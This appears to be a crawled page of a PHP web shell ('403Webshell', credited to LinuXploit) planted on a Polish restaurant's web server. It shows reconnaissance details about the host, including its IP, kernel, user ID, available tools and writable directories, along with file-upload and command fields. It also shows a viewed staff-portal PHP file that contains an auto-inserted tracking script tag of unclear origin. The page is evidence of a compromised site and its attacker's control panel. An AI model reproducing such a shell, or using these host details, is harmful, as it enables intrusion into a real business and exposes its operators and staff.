403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/includes/staff_portal.php
<?php
declare(strict_types=1);

function staff_portal_roles(): array { return ['waiter','kitchen']; }

function require_staff_portal(): array
{
    require_login();
    $user = admin_user();
    if (!$user || !in_array((string)$user['role'], staff_portal_roles(), true)) {
        http_response_code(403);
        exit('Ten panel jest przeznaczony dla pracowników sali i kuchni.');
    }
    return $user;
}

function staff_role_label(string $role): string
{
    return $role === 'kitchen' ? 'Kuchnia' : 'Kelner';
}

function render_staff_header(string $title, string $active = 'today'): void
{
    $user = require_staff_portal();
    $flashes = consume_flashes();
    $name = (string)($user['name'] ?: $user['username']);
    ?>
<!doctype html>
<html lang="pl">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,viewport-fit=cover">
    <meta name="robots" content="noindex,nofollow">
    <meta name="theme-color" content="#0b0b0b">
    <title><?= e($title) ?> | Polana Smaków</title>
    <link rel="manifest" href="/pracownik/manifest.webmanifest">
    <link rel="icon" type="image/png" href="/assets/img/favicon.png">
    <link rel="stylesheet" href="<?= e(asset_v('css/staff.css')) ?>">

<!-- TKLM-TRACKING-AUTO -->
<script defer src="/assets/tklm-tracking.js?v=2"></script>
<!-- /TKLM-TRACKING-AUTO -->
</head>
<body class="staff-app">
<header class="staff-topbar">
    <a class="staff-brand" href="/pracownik/"><img src="<?= e(asset_v('img/logo.png')) ?>" alt="Polana Smaków"></a>
    <div class="staff-user"><strong><?= e($name) ?></strong><small><?= e(staff_role_label((string)$user['role'])) ?></small></div>
</header>
<main class="staff-main">
<?php foreach ($flashes as $flash): ?>
    <div class="staff-flash <?= ($flash['type'] ?? '') === 'error' ? 'is-error' : 'is-ok' ?>"><?= e((string)($flash['message'] ?? '')) ?></div>
<?php endforeach; ?>
    <?php
}

function render_staff_footer(string $active = 'today'): void
{
    $user = admin_user();
    $items = [
        'today' => ['/pracownik/', 'Dzisiaj', '⌂'],
        'schedule' => ['/pracownik/grafik.php', 'Grafik', '▦'],
    ];
    if (($user['role'] ?? '') === 'waiter') {
        $items['reservations'] = ['/pracownik/rezerwacje.php', 'Rezerwacje', '◷'];
    }
    $items['tips'] = ['/pracownik/napiwki.php', 'Napiwki', 'zł'];
    $items['profile'] = ['/pracownik/profil.php', 'Profil', '●'];
    ?>
</main>
<nav class="staff-bottom-nav" aria-label="Panel pracownika">
<?php foreach ($items as $key => [$href,$label,$icon]): ?>
    <a class="<?= $active === $key ? 'is-active' : '' ?>" href="<?= e($href) ?>"><b><?= e($icon) ?></b><span><?= e($label) ?></span></a>
<?php endforeach; ?>
</nav>
<script src="<?= e(asset_v('js/staff.js')) ?>" defer></script>
</body>
</html>
    <?php
}

Youez - 2016 - github.com/yon3zu
LinuXploit